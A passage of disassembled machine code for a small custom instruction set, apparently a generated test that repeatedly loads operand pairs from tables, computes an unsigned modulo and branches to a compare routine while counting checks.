3440: 0d 40 7d 1c wl16 r8,0x3fc
3444: 0d 60 01 03 wh16 r8,0x3
3448: 10 40 01 08 ld32 r8,r8
344c: 0d 42 9e 18 wl16 r16,0x14f8
3450: 0d 60 02 03 wh16 r16,0x3
3454: 10 40 02 10 ld32 r16,r16
3458: 0d 44 bd 34 wl16 r9,0x25f4
345c: 0d 60 01 23 wh16 r9,0x3
3460: 10 40 01 29 ld32 r9,r9
3464: 00 a0 01 10 umod r8,r16
3468: 20 70 03 e2 movepc rret,8
346c: 14 30 f2 e9 br 10 <compare>,#al
3470: 00 10 00 41 add r2,1
3474: 0d 40 81 00 wl16 r8,0x400
3478: 0d 60 01 03 wh16 r8,0x3
347c: 10 40 01 08 ld32 r8,r8
3480: 0d 42 9e 1c wl16 r16,0x14fc
3484: 0d 60 02 03 wh16 r16,0x3
3488: 10 40 02 10 ld32 r16,r16
348c: 0d 44 bd 38 wl16 r9,0x25f8
3490: 0d 60 01 23 wh16 r9,0x3
3494: 10 40 01 29 ld32 r9,r9
3498: 00 a0 01 10 umod r8,r16
349c: 20 70 03 e2 movepc rret,8
34a0: 14 30 f2 dc br 10 <compare>,#al
34a4: 00 10 00 41 add r2,1
34a8: 0d 40 81 04 wl16 r8,0x404
34ac: 0d 60 01 03 wh16 r8,0x3
34b0: 10 40 01 08 ld32 r8,r8
34b4: 0d 42 a2 00 wl16 r16,0x1500
34b8: 0d 60 02 03 wh16 r16,0x3
34bc: 10 40 02 10 ld32 r16,r16
34c0: 0d 44 bd 3c wl16 r9,0x25fc
34c4: 0d 60 01 23 wh16 r9,0x3
34c8: 10 40 01 29 ld32 r9,r9
34cc: 00 a0 01 10 umod r8,r16
34d0: 20 70 03 e2 movepc rret,8
34d4: 14 30 f2 cf br 10 <compare>,#al
34d8: 00 10 00 41 add r2,1
34dc: 0d 40 81 08 wl16 r8,0x408
34e0: 0d 60 01 03 wh16 r8,0x3
34e4: 10 40 01 08 ld32 r8,r8
34e8: 0d 42 a2 04 wl16 r16,0x1504
34ec: 0d 60 02 03 wh16 r16,0x3
34f0: 10 40 02 10 ld32 r16,r16
34f4: 0d 44 c1 20 wl16 r9,0x2600
34f8: 0d 60 01 23 wh16 r9,0x3
34fc: 10 40 01 29 ld32 r9,r9
3500: 00 a0 01 10 umod r8,r16
3504: 20 70 03 e2 movepc rret,8
3508: 14 30 f2 c2 br 10 <compare>,#al
350c: 00 10 00 41 add r2,1
3510: 0d 40 81 0c wl16 r8,0x40c
3514: 0d 60 01 03 wh16 r8,0x3
3518: 10 40 01 08 ld32 r8,r8
351c: 0d 42 a2 08 wl16 r16,0x1508
3520: 0d 60 02 03 wh16 r16,0x3
3524: 10 40 02 10 ld32 r16,r16
3528: 0d 44 c1 24 wl16 r9,0x2604
352c: 0d 60 01 23 wh16 r9,0x3
3530: 10 40 01 29 ld32 r9,r9
3534: 00 a0 01 10 umod r8,r16
3538: 20 70 03 e2 movepc rret,8
353c: 14 30 f2 b5 br 10 <compare>,#al
3540: 00 10 00 41 add r2,1
3544: 0d 40 81 10 wl16 r8,0x410
3548: 0d 60 01 03 wh16 r8,0x3
354c: 10 40 01 08 ld32 r8,r8
3550: 0d 42 a2 0c wl16 r16,0x150c
3554: 0d 60 02 03 wh16 r16,0x3
3558: 10 40 02 10 ld32 r16,r16
355c: 0d 44 c1 28 wl16 r9,0x2608
3560: 0d 60 01 23 wh16 r9,0x3
3564: 10 40 01 29 ld32 r9,r9
3568: 00 a0 01 10 umod r8,r16
356c: 20 70 03 e2 movepc rret,8
3570: 14 30 f2 a8 br 10 <compare>,#al
3574: 00 10 00 41 add r2,1
3578: 0d 40 81 14 wl16 r8,0x414
357c: 0d 60 01 03 wh16 r8,0x3
3580: 10 40 01 08 ld32 r8,r8
3584: 0d 42 a2 10 wl16 r16,0x1510
3588: 0d 60 02 03 wh16 r16,0x3
358c: 10 40 02 10 ld32 r16,r16
3590: 0d 44 c1 2c wl16 r9,0x260c
3594: 0d 60 01 23 wh16 r9,0x3
3598: 10 40 01 29 ld32 r9,r9
359c: 00 a0 01 10 umod r8,r16
35a0: 20 70 03 e2 movepc rret,8
35a4: 14 30 f2 9b br 10 <compare>,#al
35a8: 00 10 00 41 add r2,1
35ac: 0d 40 81 18 wl16 r8,0x418
35b0: 0d 60 01 03 wh16 r8,0x3
35b4: 10 40 01 08 ld32 r8,r8
35b8: 0d 42 a2 14 wl16 r16,0x1514
35bc: 0d 60 02 03 wh16 r16,0x3
35c0: 10 40 02 10 ld32 r16,r16
35c4: 0d 44 c1 30 wl16 r9,0x2610
35c8: 0d 60 01 23 wh16 r9,0x3
35cc: 10 40 01 29 ld32 r9,r9
35d0: 00 a0 01 10 umod r8,r16
35d4: 20 70 03 e2 movepc rret,8
35d8: 14 30 f2 8e br 10 <compare>,#al
35dc: 00 10 00 41 add r2,1
35e0: 0d 40 81 1c wl16 r8,0x41c
35e4: 0d 60 01 03 wh16 r8,0x3
35e8: 10 40 01 08 ld32 r8,r8
35ec: 0d 42 a2 18 wl16 r16,0x1518
35f0: 0d 60 02 03 wh16 r16,0x3
35f4: 10 40 02 10 ld32 r16,r16
35f8: 0d 44 c1 34 wl16 r9,0x2614
35fc: 0d 60 01 23 wh16 r9,0x3
3600: 10 40 01 29 ld32 r9,r9
3604: 00 a0 01 10 umod r8,r16
3608: 20 70 03 e2 movepc rret,8
360c: 14 30 f2 81 br 10 <compare>,#al
3610: 00 10 00 41 add r2,1
3614: 0d 40 85 00 wl16 r8,0x420
3618: 0d 60 01 03 wh16 r8,0x3
361c: 10 40 01 08 ld32 r8,r8
3620: 0d 42 a2 1c wl16 r16,0x151c
3624: 0d 60 02 03 wh16 r16,0x3
3628: 10 40 02 10 ld32 r16,r16
362c: 0d 44 c1 38 wl16 r9,0x2618
3630: 0d 60 01 23 wh16 r9,0x3
3634: 10 40 01 29 ld32 r9,r9
3638: 00 a0 01 10 umod r8,r16
363c: 20 70 03 e2 movepc rret,8
3640: 14 30 f2 74 br 10 <compare>,#al
3644: 00 10 00 41 add r2,1
3648: 0d 40 85 04 wl16 r8,0x424
364c: 0d 60 01 03 wh16 r8,0x3
3650: 10 40 01 08 ld32 r8,r8
3654: 0d 42 a6 00 wl16 r16,0x1520
3658: 0d 60 02 03 wh16 r16,0x3
365c: 10 40 02 10 ld32 r16,r16
3660: 0d 44 c1 3c wl16 r9,0x261c
3664: 0d 60 01 23 wh16 r9,0x3
3668: 10 40 01 29 ld32 r9,r9
366c: 00 a0 01 10 umod r8,r16
3670: 20 70 03 e2 movepc rret,8
3674: 14 30 f2 67 br 10 <compare>,#al
3678: 00 10 00 41 add r2,1
367c: 0d 40 85 08 wl16 r8,0x428
3680: 0d 60 01 03 wh16 r8,0x3
3684: 10 40 01 08 ld32 r8,r8
3688: 0d 42 a6 04 wl16 r16,0x1524
368c: 0d 60 02 03 wh16 r16,0x3
3690: 10 40 02 10 ld32 r16,r16
3694: 0d 44 c5 20 wl16 r9,0x2620
3698: 0d 60 01 23 wh16 r9,0x3
369c: 10 40 01 29 ld32 r9,r9
36a0: 00 a0 01 10 umod r8,r16
36a4: 20 70 03 e2 movepc rret,8
36a8: 14 30 f2 5a br 10 <compare>,#al
36ac: 00 10 00 41 add r2,1
36b0: 0d 40 85 0c wl16 r8,0x42c
36b4: 0d 60 01 03 wh16 r8,0x3
36b8: 10 40 01 08 ld32 r8,r8
36bc: 0d 42 a6 08 wl16 r16,0x1528
36c0: 0d 60 02 03 wh16 r16,0x3
36c4: 10 40 02 10 ld32 r16,r16
36c8: 0d 44 c5 24 wl16 r9,0x2624
36cc: 0d 60 01 23 wh16 r9,0x3
36d0: 10 40 01 29 ld32 r9,r9
36d4: 00 a0 01 10 umod r8,r16
36d8: 20 70 03 e2 movepc rret,8
36dc: 14 30 f2 4d br 10 <compare>,#al
36e0: 00 10 00 41 add r2,1
36e4: 0d 40 85 10 wl16 r8,0x430
36e8: 0d 60 01 03 wh16 r8,0x3
36ec: 10 40 01 08 ld32 r8,r8
36f0: 0d 42 a6 0c wl16 r16,0x152c
36f4: 0d 60 02 03 wh16 r16,0x3
36f8: 10 40 02 10 ld32 r16,r16
36fc: 0d 44 c5 28 wl16 r9,0x2628
3700: 0d 60 01 23 wh16 r9,0x3
3704: 10 40 01 29 ld32 r9,r9
3708: 00 a0 01 10 umod r8,r16
370c: 20 70 03 e2 movepc rret,8
3710: 14 30 f2 40 br 10 <compare>,#al
3714: 00 10 00 41 add r2,1
3718: 0d 40 85 14 wl16 r8,0x434
371c: 0d 60 01 03 wh16 r8,0x3
3720: 10 40 01 08 ld32 r8,r8
3724: 0d 42 a6 10 wl16 r16,0x1530
3728: 0d 60 02 03 wh16 r16,0x3
372c: 10 40 02 10 ld32 r16,r16
3730: 0d 44 c5 2c wl16 r9,0x262c
3734: 0d 60 01 23 wh16 r9,0x3
3738: 10 40 01 29 ld32 r9,r9
373c: 00 a0 01 10 umod r8,r16
3740: 20 70 03 e2 movepc rret,8
3744: 14 30 f2 33 br 10 <compare>,#al
3748: 00 10 00 41 add r2,1
374c: 0d 40 85 18 wl16 r8,0x438
3750: 0d 60 01 03 wh16 r8,0x3
3754: 10 40 01 08 ld32 r8,r8
3758: 0d 42 a6 14 wl16 r16,0x1534
375c: 0d 60 02 03 wh16 r16,0x3
3760: 10 40 02 10 ld32 r16,r16
3764: 0d 44 c5 30 wl16 r9,0x2630
3768: 0d 60 01 23 wh16 r9,0x3
376c: 10 40 01 29 ld32 r9,r9
3770: 00 a0 01 10 umod r8,r16
3774: 20 70 03 e2 movepc rret,8
3778: 14 30 f2 26 br 10 <compare>,#al
377c: 00 10 00 41 add r2,1
3780: 0d 40 85 1c wl16 r8,0x43c
3784: 0d 60 01 03 wh16 r8,0x3
3788: 10 40 01 08 ld32 r8,r8
378c: 0d 42 a6 18 wl16 r16,0x1538
3790: 0d 60 02 03 wh16 r16,0x3
3794: 10 40 02 10 ld32 r16,r16
3798: 0d 44 c5 34 wl16 r9,0x2634
379c: 0d 60 01 23 wh16 r9,0x3
37a0: 10 40 01 29 ld32 r9,r9
37a4: 00 a0 01 10 umod r8,r16
37a8: 20 70 03 e2 movepc rret,8
37ac: 14 30 f2 19 br 10 <compare>,#al
37b0: 00 10 00 41 add r2,1
37b4: 0d 40 89 00 wl16 r8,0x440
37b8: 0d 60 01 03 wh16 r8,0x3
37bc: 10 40 01 08 ld32 r8,r8
37c0: 0d 42 a6 1c wl16 r16,0x153c
37c4: 0d 60 02 03 wh16 r16,0x3
37c8: 10 40 02 10 ld32 r16,r16
37cc: 0d 44 c5 38 wl16 r9,0x2638
37d0: 0d 60 01 23 wh16 r9,0x3
37d4: 10 40 01 29 ld32 r9,r9
37d8: 00 a0 01 10 umod r8,r16
37dc: 20 70 03 e2 movepc rret,8
37e0: 14 30 f2 0c br 10 <compare>,#al
37e4: 00 10 00 41 add r2,1
37e8: 0d 40 89 04 wl16 r8,0x444
37ec: 0d 60 01 03 wh16 r8,0x3
37f0: 10 40 01 08 ld32 r8,r8
37f4: 0d 42 aa 00 wl16 r16,0x1540
37f8: 0d 60 02 03 wh16 r16,0x3
37fc: 10 40 02 10 ld32 r16,r16
3800: 0d 44 c5 3c wl16 r9,0x263c
3804: 0d 60 01 23 wh16 r9,0x3
3808: 10 40 01 29 ld32 r9,r9
380c: 00 a0 01 10 umod r8,r16
3810: 20 70 03 e2 movepc rret,8
3814: 14 30 f1 ff br 10 <compare>,#al
3818: 00 10 00 41 add r2,1
381c: 0d 40 89 08 wl16 r8,0x448
3820: 0d 60 01 03 wh16 r8,0x3
3824: 10 40 01 08 ld32 r8,r8
3828: 0d 42 aa 04 wl16 r16,0x1544
382c: 0d 60 02 03 wh16 r16,0x3
3830: 10 40 02 10 ld32 r16,r16
3834: 0d 44 c9 20 wl16 r9,0x2640
3838: 0d 60 01 23 wh16 r9,0x3
383c: 10 40 01 29 ld32 r9,r9
3840: 00 a0 01 10 umod r8,r16
3844: 20 70 03 e2 movepc rret,8
3848: 14 30 f1 f2 br 10 <compare>,#al
384c: 00 10 00 41 add r2,1
3850: 0d 40 89 0c wl16 r8,0x44c
3854: 0d 60 01 03 wh16 r8,0x3
3858: 10 40 01 08 ld32 r8,r8
385c: 0d 42 aa 08 wl16 r16,0x1548
3860: 0d 60 02 03 wh16 r16,0x3
3864: 10 40 02 10 ld32 r16,r16
3868: 0d 44 c9 24 wl16 r9,0x2644
386c: 0d 60 01 23 wh16 r9,0x3
3870: 10 40 01 29 ld32 r9,r9
3874: 00 a0 01 10 umod r8,r16
3878: 20 70 03 e2 movepc rret,8
387c: 14 30 f1 e5 br 10 <compare>,#al
3880: 00 10 00 41 add r2,1
3884: 0d 40 89 10 wl16 r8,0x450
3888: 0d 60 01 03 wh16 r8,0x3
388c: 10 40 01 08 ld32 r8,r8
3890: 0d 42 aa 0c wl16 r16,0x154c
3894: 0d 60 02 03 wh16 r16,0x3
3898: 10 40 02 10 ld32 r16,r16
389c: 0d 44 c9 28 wl16 r9,0x2648
38a0: 0d 60 01 23 wh16 r9,0x3
38a4: 10 40 01 29 ld32 r9,r9
38a8: 00 a0 01 10 umod r8,r16
38ac: 20 70 03 e2 movepc rret,8
38b0: 14 30 f1 d8 br 10 <compare>,#al
38b4: 00 10 00 41 add r2,1
38b8: 0d 40 89 14 wl16 r8,0x454
38bc: 0d 60 01 03 wh16 r8,0x3
38c0: 10 40 01 08 ld32 r8,r8
38c4: 0d 42 aa 10 wl16 r16,0x1550
38c8: 0d 60 02 03 wh16 r16,0x3
38cc: 10 40 02 10 ld32 r16,r16
38d0: 0d 44 c9 2c wl16 r9,0x264c
38d4: 0d 60 01 23 wh16 r9,0x3
38d8: 10 40 01 29 ld32 r9,r9
38dc: 00 a0 01 10 umod r8,r16
38e0: 20 70 03 e2 movepc rret,8
38e4: 14 30 f1 cb br 10 <compare>,#al
38e8: 00 10 00 41 add r2,1
38ec: 0d 40 89 18 wl16 r8,0x458
38f0: 0d 60 01 03 wh16 r8,0x3
38f4: 10 40 01 08 ld32 r8,r8
38f8: 0d 42 aa 14 wl16 r16,0x1554
38fc: 0d 60 02 03 wh16 r16,0x3
3900: 10 40 02 10 ld32 r16,r16
3904: 0d 44 c9 30 wl16 r9,0x2650
3908: 0d 60 01 23 wh16 r9,0x3
390c: 10 40 01 29 ld32 r9,r9
3910: 00 a0 01 10 umod r8,r16
3914: 20 70 03 e2 movepc rret,8
3918: 14 30 f1 be br 10 <compare>,#al
391c: 00 10 00 41 add r2,1
3920: 0d 40 89 1c wl16 r8,0x45c
3924: 0d 60 01 03 wh16 r8,0x3
3928: 10 40 01 08 ld32 r8,r8
392c: 0d 42 aa 18 wl16 r16,0x1558
3930: 0d 60 02 03 wh16 r16,0x3
3934: 10 40 02 10 ld32 r16,r16
3938: 0d 44 c9 34 wl16 r9,0x2654
393c: 0d 60 01 23 wh16 r9,0x3
3940: 10 40 01 29 ld32 r9,r9
3944: 00 a0 01 10 umod r8,r16
3948: 20 70 03 e2 movepc rret,8
394c: 14 30 f1 b1 br 10 <compare>,#al
3950: 00 10 00 41 add r2,1
3954: 0d 40 8d 00 wl16 r8,0x460
3958: 0d 60 01 03 wh16 r8,0x3
395c: 10 40 01 08 ld32 r8,r8
3960: 0d 42 aa 1c wl16 r16,0x155c
3964: 0d 60 02 03 wh16 r16,0x3
3968: 10 40 02 10 ld32 r16,r16
396c: 0d 44 c9 38 wl16 r9,0x2658
3970: 0d 60 01 23 wh16 r9,0x3
3974: 10 40 01 29 ld32 r9,r9
3978: 00 a0 01 10 umod r8,r16
397c: 20 70 03 e2 movepc rret,8
3980: 14 30 f1 a4 br 10 <compare>,#al
3984: 00 10 00 41 add r2,1
3988: 0d 40 8d 04 wl16 r8,0x464
398c: 0d 60 01 03 wh16 r8,0x3
3990: 10 40 01 08 ld32 r8,r8
3994: 0d 42 ae 00 wl16 r16,0x1560
3998: 0d 60 02 03 wh16 r16,0x3
399c: 10 40 02 10 ld32 r16,r16
39a0: 0d 44 c9 3c wl16 r9,0x265c
39a4: 0d 60 01 23 wh16 r9,0x3
39a8: 10 40 01 29 ld32 r9,r9
39ac: 00 a0 01 10 umod r8,r16
39b0: 20 70 03 e2 movepc rret,8
39b4: 14 30 f1 97 br 10 <compare>,#al
39b8: 00 10 00 41 add r2,1
39bc: 0d 40 8d 08 wl16 r8,0x468
39c0: 0d 60 01 03 wh16 r8,0x3
39c4: 10 40 01 08 ld32 r8,r8
39c8: 0d 42 ae 04 wl16 r16,0x1564
39cc: 0d 60 02 03 wh16 r16,0x3
39d0: 10 40 02 10 ld32 r16,r16
39d4: 0d 44 cd 20 wl16 r9,0x2660
39d8: 0d 60 01 23 wh16 r9,0x3
39dc: 10 40 01 29 ld32 r9,r9
39e0: 00 a0 01 10 umod r8,r16
39e4: 20 70 03 e2 movepc rret,8
39e8: 14 30 f1 8a br 10 <compare>,#al
39ec: 00 10 00 41 add r2,1
39f0: 0d 40 8d 0c wl16 r8,0x46c
39f4: 0d 60 01 03 wh16 r8,0x3
39f8: 10 40 01 08 ld32 r8,r8
39fc: 0d 42 ae 08 wl16 r16,0x1568
3a00: 0d 60 02 03 wh16 r16,0x3
3a04: 10 40 02 10 ld32 r16,r16
3a08: 0d 44 cd 24 wl16 r9,0x2664
3a0c: 0d 60 01 23 wh16 r9,0x3
3a10: 10 40 01 29 ld32 r9,r9
3a14: 00 a0 01 10 umod r8,r16
3a18: 20 70 03 e2 movepc rret,8
3a1c: 14 30 f1 7d br 10 <compare>,#al
3a20: 00 10 00 41 add r2,1
3a24: 0d 40 8d 10 wl16 r8,0x470
3a28: 0d 60 01 03 wh16 r8,0x3
3a2c: 10 40 01 08 ld32 r8,r8
3a30: 0d 42 ae 0c wl16 r16,0x156c
3a34: 0d 60 02 03 wh16 r16,0x3
3a38: 10 40 02 10 ld32 r16,r16
3a3c: 0d 44 cd 28 wl16 r9,0x2668
3a40: 0d 60 01 23 wh16 r9,0x3
3a44: 10 40 01 29 ld32 r9,r9
3a48: 00 a0 01 10 umod r8,r16
3a4c: 20 70 03 e2 movepc rret,8
3a50: 14 30 f1 70 br 10 <compare>,#al
3a54: 00 10 00 41 add r2,1
3a58: 0d 40 8d 14 wl16 r8,0x474
3a5c: 0d 60 01 03 wh16 r8,0x3
3a60: 10 40 01 08 ld32 r8,r8
3a64: 0d 42 ae 10 wl16 r16,0x1570
3a68: 0d 60 02 03 wh16 r16,0x3
3a6c: 10 40 02 10 ld32 r16,r16
3a70: 0d 44 cd 2c wl16 r9,0x266c
3a74: 0d 60 01 23 wh16 r9,0x3
3a78: 10 40 01 29 ld32 r9,r9
3a7c: 00 a0 01 10 umod r8,r16
3a80: 20 70 03 e2 movepc rret,8
3a84: 14 30 f1 63 br 10 <compare>,#al
3a88: 00 10 00 41 add r2,1
3a8c: 0d 40 8d 18 wl16 r8,0x478
3a90: 0d 60 01 03 wh16 r8,0x3
3a94: 10 40 01 08 ld32 r8,r8
3a98: 0d 42 ae 14 wl16 r16,0x1574
3a9c: 0d 60 02 03 wh16 r16,0x3
3aa0: 10 40 02 10 ld32 r16,r16
3aa4: 0d 44 cd 30 wl16 r9,0x2670
3aa8: 0d 60 01 23 wh16 r9,0x3
3aac: 10 40 01 29 ld32 r9,r9
3ab0: 00 a0 01 10 umod r8,r16
3ab4: 20 70 03 e2 movepc rret,8
3ab8: 14 30 f1 56 br 10 <compare>,#al
3abc: 00 10 00 41 add r2,1
3ac0: 0d 40 8d 1c wl16 r8,0x47c
3ac4: 0d 60 01 03 wh16 r8,0x3
3ac8: 10 40 01 08 ld32 r8,r8
3acc: 0d 42 ae 18 wl16 r16,0x1578
3ad0: 0d 60 02 03 wh16 r16,0x3
3ad4: 10 40 02 10 ld32 r16,r16
3ad8: 0d 44 cd 34 wl16 r9,0x2674
3adc: 0d 60 01 23 wh16 r9,0x3
3ae0: 10 40 01 29 ld32 r9,r9
3ae4: 00 a0 01 10 umod r8,r16
3ae8: 20 70 03 e2 movepc rret,8
3aec: 14 30 f1 49 br 10 <compare>,#al
3af0: 00 10 00 41 add r2,1
3af4: 0d 40 91 00 wl16 r8,0x480
3af8: 0d 60 01 03 wh16 r8,0x3
3afc: 10 40 01 08 ld32 r8,r8
3b00: 0d 42 ae 1c wl16 r16,0x157c
3b04: 0d 60 02 03 wh16 r16,0x3
3b08: 10 40 02 10 ld32 r16,r16
3b0c: 0d 44 cd 38 wl16 r9,0x2678
3b10: 0d 60 01 23 wh16 r9,0x3
3b14: 10 40 01 29 ld32 r9,r9
3b18: 00 a0 01 10 umod r8,r16
3b1c: 20 70 03 e2 movepc rret,8
3b20: 14 30 f1 3c br 10 <compare>,#al
3b24: 00 10 00 41 add r2,1
3b28: 0d 40 91 04 wl16 r8,0x484
3b2c: 0d 60 01 03 wh16 r8,0x3
3b30: 10 40 01 08 ld32 r8,r8
3b34: 0d 42 b2 00 wl16 r16,0x1580
3b38: 0d 60 02 03 wh16 r16,0x3
3b3c: 10 40 02 10 ld32 r16,r16
3b40: 0d 44 cd 3c wl16 r9,0x267c
3b44: 0d 60 01 23 wh16 r9,0x3
3b48: 10 40 01 29 ld32 r9,r9
3b4c: 00 a0 01 10 umod r8,r16
3b50: 20 70 03 e2 movepc rret,8
3b54: 14 30 f1 2f br 10 <compare>,#al
3b58: 00 10 00 41 add r2,1
3b5c: 0d 40 91 08 wl16 r8,0x488
3b60: 0d 60 01 03 wh16 r8,0x3
3b64: 10 40 01 08 ld32 r8,r8
3b68: 0d 42 b2 04 wl16 r16,0x1584
3b6c: 0d 60 02 03 wh16 r16,0x3
3b70: 10 40 02 10 ld32 r16,r16
3b74: 0d 44 d1 20 wl16 r9,0x2680
3b78: 0d 60 01 23 wh16 r9,0x3
3b7c: 10 40 01 29 ld32 r9,r9
3b80: 00 a0 01 10 umod r8,r16
3b84: 20 70 03 e2 movepc rret,8
3b88: 14 30 f1 22 br 10 <compare>,#al
3b8c: 00 10 00 41 add r2,1
3b90: 0d 40 91 0c wl16 r8,0x48c
3b94: 0d 60 01 03 wh16 r8,0x3
3b98: 10 40 01 08 ld32 r8,r8
3b9c: 0d 42 b2 08 wl16 r16,0x1588
3ba0: 0d 60 02 03 wh16 r16,0x3
3ba4: 10 40 02 10 ld32 r16,r16
3ba8: 0d 44 d1 24 wl16 r9,0x2684
3bac: 0d 60 01 23 wh16 r9,0x3
3bb0: 10 40 01 29 ld32 r9,r9
3bb4: 00 a0 01 10 umod r8,r16
3bb8: 20 70 03 e2 movepc rret,8
3bbc: 14 30 f1 15 br 10 <compare>,#al
3bc0: 00 10 00 41 add r2,1
3bc4: 0d 40 91 10 wl16 r8,0x490
3bc8: 0d 60 01 03 wh16 r8,0x3
3bcc: 10 40 01 08 ld32 r8,r8
3bd0: 0d 42 b2 0c wl16 r16,0x158c
3bd4: 0d 60 02 03 wh16 r16,0x3
3bd8: 10 40 02 10 ld32 r16,r16
3bdc: 0d 44 d1 28 wl16 r9,0x2688
3be0: 0d 60 01 23 wh16 r9,0x3
3be4: 10 40 01 29 ld32 r9,r9
3be8: 00 a0 01 10 umod r8,r16
3bec: 20 70 03 e2 movepc rret,8
3bf0: 14 30 f1 08 br 10 <compare>,#al
3bf4: 00 10 00 41 add r2,1
3bf8: 0d 40 91 14 wl16 r8,0x494
3bfc: 0d 60 01 03 wh16 r8,0x3
3c00: 10 40 01 08 ld32 r8,r8
3c04: 0d 42 b2 10 wl16 r16,0x1590
3c08: 0d 60 02 03 wh16 r16,0x3
3c0c: 10 40 02 10 ld32 r16,r16
3c10: 0d 44 d1 2c wl16 r9,0x268c
3c14: 0d 60 01 23 wh16 r9,0x3
3c18: 10 40 01 29 ld32 r9,r9
3c1c: 00 a0 01 10 umod r8,r16
3c20: 20 70 03 e2 movepc rret,8
3c24: 14 30 f0 fb br 10 <compare>,#al
3c28: 00 10 00 41 add r2,1
3c2c: 0d 40 91 18 wl16 r8,0x498
3c30: 0d 60 01 03 wh16 r8,0x3
3c34: 10 40 01 08 ld32 r8,r8
3c38: 0d 42 b2 14 wl16 r16,0x1594
3c3c: 0d 60 02 03 wh16 r16,0x3
3c40: 10 40 02 10 ld32 r16,r16
3c44: 0d 44 d1 30 wl16 r9,0x2690
3c48: 0d 60 01 23 wh16 r9,0x3
3c4c: 10 40 01 29 ld32 r9,r9
3c50: 00 a0 01 10 umod r8,r16
3c54: 20 70 03 e2 movepc rret,8
3c58: 14 30 f0 ee br 10 <compare>,#al
3c5c: 00 10 00 41 add r2,1
3c60: 0d 40 91 1c wl16 r8,0x49c
3c64: 0d 60 01 03 wh16 r8,0x3
3c68: 10 40 01 08 ld32 r8,r8
3c6c: 0d 42 b2 18 wl16 r16,0x1598
3c70: 0d 60 02 03 wh16 r16,0x3
3c74: 10 40 02 10 ld32 r16,r16
3c78: 0d 44 d1 34 wl16 r9,0x2694
3c7c: 0d 60 01 23 wh16 r9,0x3
3c80: 10 40 01 29 ld32 r9,r9
3c84: 00 a0 01 10 umod r8,r16
3c88: 20 70 03 e2 movepc rret,8
3c8c: 14 30 f0 e1 br 10 <compare>,#al
3c90: 00 10 00 41 add r2,1
3c94: 0d 40 95 00 wl16 r8,0x4a0
3c98: 0d 60 01 03 wh16 r8,0x3
3c9c: 10 40 01 08 ld32 r8,r8
3ca0: 0d 42 b2 1c wl16 r16,0x159c
3ca4: 0d 60 02 03 wh16 r16,0x3
3ca8: 10 40 02 10 ld32 r16,r16
3cac: 0d 44 d1 38 wl16 r9,0x2698
3cb0: 0d 60 01 23 wh16 r9,0x3
3cb4: 10 40 01 29 ld32 r9,r9
3cb8: 00 a0 01 10 umod r8,r16
3cbc: 20 70 03 e2 movepc rret,8
3cc0: 14 30 f0 d4 br 10 <compare>,#al
3cc4: 00 10 00 41 add r2,1
3cc8: 0d 40 95 04 wl16 r8,0x4a4
3ccc: 0d 60 01 03 wh16 r8,0x3
3cd0: 10 40 01 08 ld32 r8,r8
3cd4: 0d 42 b6 00 wl16 r16,0x15a0
3cd8: 0d 60 02 03 wh16 r16,0x3
3cdc: 10 40 02 10 ld32 r16,r16
3ce0: 0d 44 d1 3c wl16 r9,0x269c
3ce4: 0d 60 01 23 wh16 r9,0x3
3ce8: 10 40 01 29 ld32 r9,r9
3cec: 00 a0 01 10 umod r8,r16
3cf0: 20 70 03 e2 movepc rret,8
3cf4: 14 30 f0 c7 br 10 <compare>,#al
3cf8: 00 10 00 41 add r2,1
3cfc: 0d 40 95 08 wl16 r8,0x4a8
3d00: 0d 60 01 03 wh16 r8,0x3
3d04: 10 40 01 08 ld32 r8,r8
3d08: 0d 42 b6 04 wl16 r16,0x15a4
3d0c: 0d 60 02 03 wh16 r16,0x3
3d10: 10 40 02 10 ld32 r16,r16
3d14: 0d 44 d5 20 wl16 r9,0x26a0
3d18: 0d 60 01 23 wh16 r9,0x3
3d1c: 10 40 01 29 ld32 r9,r9
3d20: 00 a0 01 10 umod r8,r16
3d24: 20 70 03 e2 movepc rret,8
3d28: 14 30 f0 ba br 10 <compare>,#al
3d2c: 00 10 00 41 add r2,1
3d30: 0d 40 95 0c wl16 r8,0x4ac
3d34: 0d 60 01 03 wh16 r8,0x3
3d38: 10 40 01 08 ld32 r8,r8
3d3c: 0d 42 b6 08 wl16 r16,0x15a8
3d40: 0d 60 02 03 wh16 r16,0x3
3d44: 10 40 02 10 ld32 r16,r16
3d48: 0d 44 d5 24 wl16 r9,0x26a4
3d4c: 0d 60 01 23 wh16 r9,0x3
3d50: 10 40 01 29 ld32 r9,r9
3d54: 00 a0 01 10 umod r8,r16
3d58: 20 70 03 e2 movepc rret,8
3d5c: 14 30 f0 ad br 10 <compare>,#al
3d60: 00 10 00 41 add r2,1
3d64: 0d 40 95 10 wl16 r8,0x4b0
3d68: 0d 60 01 03 wh16 r8,0x3
3d6c: 10 40 01 08 ld32 r8,r8
3d70: 0d 42 b6 0c wl16 r16,0x15ac
3d74: 0d 60 02 03 wh16 r16,0x3
3d78: 10 40 02 10 ld32 r16,r16
3d7c: 0d 44 d5 28 wl16 r9,0x26a8
3d80: 0d 60 01 23 wh16 r9,0x3
3d84: 10 40 01 29 ld32 r9,r9
3d88: 00 a0 01 10 umod r8,r16
3d8c: 20 70 03 e2 movepc rret,8
3d90: 14 30 f0 a0 br 10 <compare>,#al
3d94: 00 10 00 41 add r2,1
3d98: 0d 40 95 14 wl16 r8,0x4b4
3d9c: 0d 60 01 03 wh16 r8,0x3
3da0: 10 40 01 08 ld32 r8,r8
3da4: 0d 42 b6 10 wl16 r16,0x15b0
3da8: 0d 60 02 03 wh16 r16,0x3
3dac: 10 40 02 10 ld32 r16,r16
3db0: 0d 44 d5 2c wl16 r9,0x26ac
3db4: 0d 60 01 23 wh16 r9,0x3
3db8: 10 40 01 29 ld32 r9,r9
3dbc: 00 a0 01 10 umod r8,r16
3dc0: 20 70 03 e2 movepc rret,8
3dc4: 14 30 f0 93 br 10 <compare>,#al
3dc8: 00 10 00 41 add r2,1
3dcc: 0d 40 95 18 wl16 r8,0x4b8
3dd0: 0d 60 01 03 wh16 r8,0x3
3dd4: 10 40 01 08 ld32 r8,r8
3dd8: 0d 42 b6 14 wl16 r16,0x15b4
3ddc: 0d 60 02 03 wh16 r16,0x3
3de0: 10 40 02 10 ld32 r16,r16
3de4: 0d 44 d5 30 wl16 r9,0x26b0
3de8: 0d 60 01 23 wh16 r9,0x3
3dec: 10 40 01 29 ld32 r9,r9
3df0: 00 a0 01 10 umod r8,r16
3df4: 20 70 03 e2 movepc rret,8
3df8: 14 30 f0 86 br 10 <compare>,#al
3dfc: 00 10 00 41 add r2,1
3e00: 0d 40 95 1c wl16 r8,0x4bc
3e04: 0d 60 01 03 wh16 r8,0x3
3e08: 10 40 01 08 ld32 r8,r8
